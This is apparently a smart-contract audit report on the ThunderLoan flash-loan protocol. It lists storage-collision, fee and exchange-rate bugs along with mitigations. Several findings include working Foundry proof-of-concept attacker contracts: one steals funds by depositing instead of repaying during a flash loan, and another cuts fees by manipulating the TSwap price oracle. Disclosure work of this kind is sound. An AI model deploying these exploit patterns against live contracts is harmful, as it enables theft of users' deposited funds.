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- [M-1] Using TSwap as an oracle allows malicious users to reduce fees by manipulating the price of a token
- [M-2] Users cannot use the ThunderLoan: : repay function to repay while taking another flash loan

Protocol Summary

The ThunderLoan protocol is a decentralized exchange (DEX) that allows users to earn profits by providing liquidity. In return, liquidity providers who deposited tokens receive assetTokens based on the exchange rate for the amount deposited. These AssetTokens accrue interest over time. The protocol also enables users to borrow assets through flash loans, provided they repay the loan, along with fees, within the same transaction.

Disclaimer

The Nanachiki team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

| | | Impact | | |
|------------|--------|--------|--------|-----|
| | | High | Medium | Low |
| | High | Н | H/M | М |
| Likelihood | Medium | H/M | М | M/L |
| | Low | М | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document corresponded the following commit hash:

```
1 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
1 #-- interfaces
2 | #-- IFlashLoanReceiver.sol
3 | #-- IPoolFactory.sol
4 | #-- ITSwapPool.sol
5 | #-- IThunderLoan.sol
6 #-- protocol
7 | #-- AssetToken.sol
8 | #-- OracleUpgradeable.sol
9 | #-- ThunderLoan.sol
10 #-- upgradedProtocol
11 #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
 - USDC (proxy) (6 decimals)
 - DAI
 - LINK
 - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

| Severity | Number of issues found | |
|----------|------------------------|--|
| High | 3 | |
| Medium | 2 | |
| Low | 0 | |
| Info | 0 | |
| Total | 0 | |

Findings

High

[H-1] Erroneous ThunderLoan: updateExchangeRate in the deposit function causes the protocol to think it has more fees than it really does, which blocks the redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the exchangeRate is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the deposit function, updates this rate, without collecting any fees!

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
2
           AssetToken assetToken = s_tokenToAssetToken[token];
3
           uint256 exchangeRate = assetToken.getExchangeRate();
           uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5
           emit Deposit(msg.sender, token, amount);
6
           assetToken.mint(msg.sender, mintAmount);
7
           // @audit high we've got em!!!
           uint256 calculatedFee = getCalculatedFee(token, amount);
8 @>
9 @>
           assetToken.updateExchangeRate(calculatedFee);
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
10
11
       }
```

Impact: There are several impacts to this bug.

1. The redeem function is blocked, because the protocol thinks the owned tokens is more than it has.

2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

- 1. LP deposits.
- 2. User takes out a flash loan.
- 3. It is now impossible for LP to redeem.

Proof of Code

Place the following into ThunderLoanTest.t.sol.

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2
           uint256 amountToBorrow = AMOUNT * 10;
           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
3
               amountToBorrow);
4
5
           vm.startPrank(user);
6
           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
7
               amountToBorrow, "");
8
           vm.stopPrank();
9
10
           uint256 amountToRedeem = type(uint256).max;
           vm.startPrank(liquidityProvider);
11
           thunderLoan.redeem(tokenA, amountToRedeem);
13
       }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from deposit.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
2
           AssetToken assetToken = s_tokenToAssetToken[token];
           uint256 exchangeRate = assetToken.getExchangeRate();
3
4
           uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5
           emit Deposit(msg.sender, token, amount);
           assetToken.mint(msg.sender, mintAmount);
6
7
           uint256 calculatedFee = getCalculatedFee(token, amount);
8 -
9 -
           assetToken.updateExchangeRate(calculatedFee);
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
10
               ;
       }
```

[H-2] Using the deposit function instead of the repay function during a flash loan allows users to steal assets

Description: In the flashloan function, endingBalance is calculated based on the ending balance of tokens in the assetToken contract and then compared to the sum of startingBalance and fee. Because of this, users can repay assets using the repay function instead of the deposit function during a flash loan, which allows them to steal the borrowed assets via the redeem function.

Impact: Malicious users can take advantage of flash loans to steal all the assets of the protocol.

Proof of Concept:

- 1. A user takes a flash loan for 50e18 of tokenA.
- 2. The user simply repays the assets and fees using the deposit function instead of repay while executing the executeOperation function.
- 3. The user then withdraws the assets by calling, for example, the redeemMoney function, which is set up to redeem assets in the FlashLoanReceiver contract.

Proof of Code

Place the following into ThunderLoanTest.t.sol.

```
1 function testDepositInsteadOfRepayToStealFunds() public setAllowedToken
       hasDeposits {
           vm.startPrank(user);
           uint256 amountToBorrow = 50e18;
3
           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
4
               amountToBorrow);
           DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
5
               ));
           tokenA.mint(address(dor), fee);
6
           thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
7
8
           dor.redeemMoney();
9
           vm.stopPrank();
           assertEq(tokenA.balanceOf(address(dor)), amountToBorrow + fee);
11
12
       }
```

```
contract DepositOverRepay is IFlashLoanReceiver {
   ThunderLoan thunderLoan;
   AssetToken assetToken;
   IERC20 s_token;

   constructor(address _thunderLoan) {
      thunderLoan = ThunderLoan(_thunderLoan);
   }
}
```

```
10
        function executeOperation(
11
           address token,
12
           uint256 amount,
13
           uint256 fee,
14
           address,
15
           bytes calldata
16
       )
17
           external
           returns (bool)
18
19
20
           s_token = IERC20(token);
           assetToken = thunderLoan.getAssetFromToken(IERC20(token));
21
           s_token.approve(address(thunderLoan), amount + fee);
22
23
           thunderLoan.deposit(IERC20(token), amount + fee);
24
           return true;
25
       }
26
27
       function redeemMoney() public {
28
           uint256 amount = assetToken.balanceOf(address(this));
29
           thunderLoan.redeem(s_token, amount);
       }
31 }
```

Recommended Mitigation: Add a check in deposit() to make it impossible to use it in the same block of the flash loan. For example registering the block.number in a variable in flashloan() and checking it deposit().

[H-3] Upgrading ThunderLoan to ThunderLoanUpgraded causes storage collisions, resulting in ThunderLoan::s_flashLoanFee having incorrect values

Description: Before the upgrade, the value of s_feePrecision was assigned to storage slot 2, and the value of s_flashLoanFee was in storage slot 3.

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, after the upgrade, the position of the s_flashLoanFee variable was moved to storage slot 2, and the s_currentlyFlashLoaning mapping started in storage slot 3 by removing the s_feePrecision variable from storage and making it a constant.

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity storage works, the s_flashLoanFee variable will end up having the value of s_feePrecision.

In addition to this, the currentlyFlashLoaning mapping will start in the wrong storage slot.

Impact: After the upgrade, s_flashLoanFee will take on the value of s_feePrecision, meaning users who take out flash loans will be charged the incorrect fee immediately after the upgrade.

Proof of Concept:

- 1. Import the ThunderLoanUpgraded contract into ThunderLoanTest.t.sol.
- 2. Retrieve the fee amount before the upgrade and assign it to the feeBeforeUpgrade variable.
- 3. Deploy the ThunderLoanUpgraded contract and upgrade to it as the new implementation contract.
- 4. Retrieve the fee amount after the upgrade and assign it to the feeAfterUpgrade variable.
- 5. Assert that the two amounts are not the same.

PoC

Add the following into ThunderLoanTest.t.sol.

```
1 import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
      ThunderLoanUpgraded.sol";
2
3.
4
5 function testStorageCollision() public {
6
           uint256 feeBeforeUpgrade = thunderLoan.getFee();
7
           vm.startPrank(thunderLoan.owner());
8
           ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
9
           thunderLoan.upgradeToAndCall(address(upgraded), "");
10
11
           uint256 feeAfterUpgrade = thunderLoan.getFee();
12
           vm.stopPrank();
13
           console.log("Fee Before Upgrade: %e", feeBeforeUpgrade);
14
           console.log("Fee After Upgrade: %e", feeAfterUpgrade);
15
16
17
           assert(feeBeforeUpgrade != feeAfterUpgrade);
       }
18
```

You can also see the storage layout difference by running forge inspect ThunderLoan storage and forge inspect ThunderLoanUpgraded storage.

Recommended Mitigation: If you must remove the variable from storage, it's better to leave it as a blank as to not mess up storage slots.

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee; // 0.3% ETH fee
5 + uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as an oracle allows malicious users to reduce fees by manipulating the price of a token

Description: TSwap uses a constant product formula based on an AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, malicious users can easily manipulate the price by selling or buying a large amount of the token in a single transaction, effectively bypassing protocol fees.

Impact: Users will be able to drastically reduce the fees charged for a flash loan.

Proof of Concept:

The following all happens in 1 transaction.

- 1. A user takes a flash loan from Thunder Loan for 1000 token A. The user is charged the original fee, feeOne, and caries out the following actions during the flash loan:
 - 1. Sells the borrowed tokenA, causing the price to tank.
 - 2. Instead of repaying immediately, the user takes another flash loan for an additional 1000 tokenA;
- 2. Due to the way Thunder Loan calculates the token price based on the TSwap pool, this second flash loan is substantially cheaper.

3. The user then repays the first flash loan, followed by repaying the second flash loan.

Proof of Code

```
function testPriceAndOracleManipulation() public {
2
          // 1. Set up contracts
3
          thunderLoan = new ThunderLoan();
4
          tokenA = new ERC20Mock();
5
          proxy = new ERC1967Proxy(address(thunderLoan), "");
          BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
6
          address tswap = pf.createPool(address(tokenA));
7
           thunderLoan = ThunderLoan(address(proxy));
8
9
           thunderLoan.initialize(address(pf));
```

```
10
11
            // 2. Deposits tokens into the pool
12
            vm.startPrank(address(liquidityProvider));
13
            tokenA.mint(address(liquidityProvider), 100e18);
14
            tokenA.approve(address(tswap), 100e18);
15
            weth.mint(address(liquidityProvider), 100e18);
16
            weth.approve(address(tswap), 100e18);
            BuffMockTSwap(tswap).deposit(100e18, 100e18, 100e18, block.
17
               timestamp);
18
            vm.stopPrank();
20
            // Calculate the normal fee cost before manipulating the token
               price
            uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
               2000e18);
            console.log("The fee cost before manipulating the token price:
22
               %e", normalFeeCost);
            // 3. Deposits tokens into the ThunderLoan contract
24
25
            vm.prank(thunderLoan.owner());
26
            thunderLoan.setAllowedToken(tokenA, true);
27
            vm.startPrank(liquidityProvider);
28
            tokenA.mint(address(liquidityProvider), 2000e18);
29
            tokenA.approve(address(thunderLoan), 2000e18);
31
            thunderLoan.deposit(tokenA, 2000e18);
32
            vm.stopPrank();
            // 4. A malicious user takes a flash loan, sells the borrowed
               tokenA, tanks the price, and takes another flash
            // loan during the first one to reduce fees
            MaliciousFlashLoanReceiver mfr = new MaliciousFlashLoanReceiver
                address(thunderLoan), address(tswap), address(thunderLoan.
                   getAssetFromToken(tokenA))
            );
            vm.startPrank(user);
40
41
            tokenA.mint(address(mfr), 1500e18);
            thunderLoan.flashloan(address(mfr), tokenA, 1000e18, "");
42
43
44
            uint256 manipulatedFeeCost = mfr.feeOne() + mfr.feeTwo();
45
            console.log("The fee cost after manipulating the token price: %
               e", manipulatedFeeCost);
46
            // The malicious user reduced fees
            assert(manipulatedFeeCost < normalFeeCost);</pre>
47
       }
48
```

This is the FlashLoanReceiver contract that performs malicious actions.

```
1 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
```

```
ThunderLoan thunderLoan;
3
       BuffMockTSwap tswap;
4
       address repayAddress;
5
       bool attacked;
6
7
       uint256 public feeOne;
8
       uint256 public feeTwo;
10
       constructor(address _thunderLoan, address _tswap, address
           _repayAddress) {
11
           thunderLoan = ThunderLoan(_thunderLoan);
12
           tswap = BuffMockTSwap(_tswap);
13
            repayAddress = _repayAddress;
       }
14
15
        function executeOperation(
16
17
           address token,
           uint256 amount,
18
19
           uint256 fee,
20
           address, /*initiator*/
           bytes calldata /*params*/
21
       )
23
           external
24
           returns (bool)
25
       {
26
           if (!attacked) {
27
                feeOne = fee;
                attacked = true;
28
29
                // Sells the borrowed amount on TSwap
31
                uint256 wethBought = tswap.getOutputAmountBasedOnInput(
32
                    amount, IERC20(token).balanceOf(address(tswap)), IERC20
                        (tswap.getWeth()).balanceOf(address(tswap))
                IERC20(token).approve(address(tswap), amount);
34
35
                tswap.swapPoolTokenForWethBasedOnInputPoolToken(amount,
                   wethBought, block.timestamp);
                // Takes a second flash loan
38
                thunderLoan.flashloan(address(this), IERC20(token), amount,
                    "");
39
                // Repay
40
41
                IERC20(token).approve(repayAddress, amount + fee);
                IERC20(token).transfer(repayAddress, amount + fee);
42
43
           } else {
44
                feeTwo = fee;
45
                IERC20(token).approve(repayAddress, amount + fee);
                IERC20(token).transfer(repayAddress, amount + fee);
46
47
           }
48
```

```
49 return true;
50 }
51 }
```

Recommended Mitigation: Consider using a different oracle mechanism, like a ChainLink price feed with a Uniswap TSWAP fallback oracle.

[M-2] Users cannot use the ThunderLoan: repay function to repay while taking another flash loan

Description: When users take flash loans, the ThunderLoan::s_currentlyFlashLoaning mapping for the token is set to true. While this is true, they can use the repay function to repay the borrowed assets. After repayment, s_currentlyFlashLoaning is set back to false, which is its default state. However, since the repay function only works when s_currentlyFlashLoaning is true, this prevents users from taking and repaying flash loans while already in the process of another flash loan.

Impact: Users cannot repay the borrowed assets using the repay function while another flash loan is being taken, even though this function is intended for repayment.

Proof of Concept:

- 1. Deploy the FlashLoanReceiver contract to receive the borrowed assets.
- 2. A user takes a first flash loan of 500e18 in tokenA.
- 3. While executedOperation in the FlashLoanReceiver contract is being executed, this contract initiates the second flash loan of 500e18 in tokenA.
- 4. Repay the second loan with fees, resetting s_currentlyFlashLoaning to false.
- 5. Since s_currentlyFlashLoaning is now false, the repayment for the first loan will be reverted.

PoC

You can test this with forge test --mt testCantRepayFundsDuringFlashLoan -vvin ThunderLoanTest.t.sol.

```
function testCantRepayFundsDuringFlashLoan() public setAllowedToken
hasDeposits {
    uint256 amountToBorrow = 500e18;

// Deploy a FlashLoanReceiver contract
FlashLoanReceiver flr = new FlashLoanReceiver(address(
    thunderLoan));

// Take a first flash loan
```

This is the FlashLoanReceiver contract that receives the borrowed assets.

```
1 contract FlashLoanReceiver is IFlashLoanReceiver {
2
       using SafeERC20 for IERC20;
3
4
       address s_thunderLoan;
5
       uint256 s balanceDuringFlashLoan;
       uint256 s_balanceAfterFlashLoan;
6
7
       bool s_currentlyFlashLoaning;
8
9
       constructor(address thunderLoan) {
10
           s_thunderLoan = thunderLoan;
11
12
           s_balanceDuringFlashLoan = 0;
13
14
15
       function executeOperation(
16
           address token,
17
           uint256 amount,
18
           uint256 fee,
19
           address, /*initiator */
20
           bytes calldata /* params */
21
       )
22
           external
23
           returns (bool)
24
           s balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
25
               ));
26
27
           if (!s_currentlyFlashLoaning) {
                s_currentlyFlashLoaning = true;
28
                // Taking the second flash loan during the first loan
                IERC20(token).approve(s_thunderLoan, amount);
31
32
                ThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(
                   token), amount, "");
                // Repaying for the first loan will be reverted since
                   s_currentlyFlashLoaning[token] was set to false during
                   the second loan
                IERC20(token).approve(s_thunderLoan, amount + fee);
                ThunderLoan(s_thunderLoan).repay(IERC20(token), amount +
                   fee);
           } else {
                IERC20(token).approve(s_thunderLoan, amount + fee);
```

```
ThunderLoan(s_thunderLoan).repay(IERC20(token), amount +
                    fee);
            }
40
41
            s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)
42
               );
43
44
            return true;
       }
45
46
47
       function getBalanceDuring() external view returns (uint256) {
48
            return s_balanceDuringFlashLoan;
49
       }
50
51
       function getBalanceAfter() external view returns (uint256) {
            return s_balanceAfterFlashLoan;
52
53
       }
   }
54
```

Recommended Mitigation: Although users can directly use the IERC20 transfer without the repay function, if you want retain the need for this function, you should remove the check for s_currentlyFlashLoaning. Instead, add the modifiers revertIfZero() and revertIfNotAllowedToken() to ensure the token being repaid has a non-zero amount and that a valid token address is used.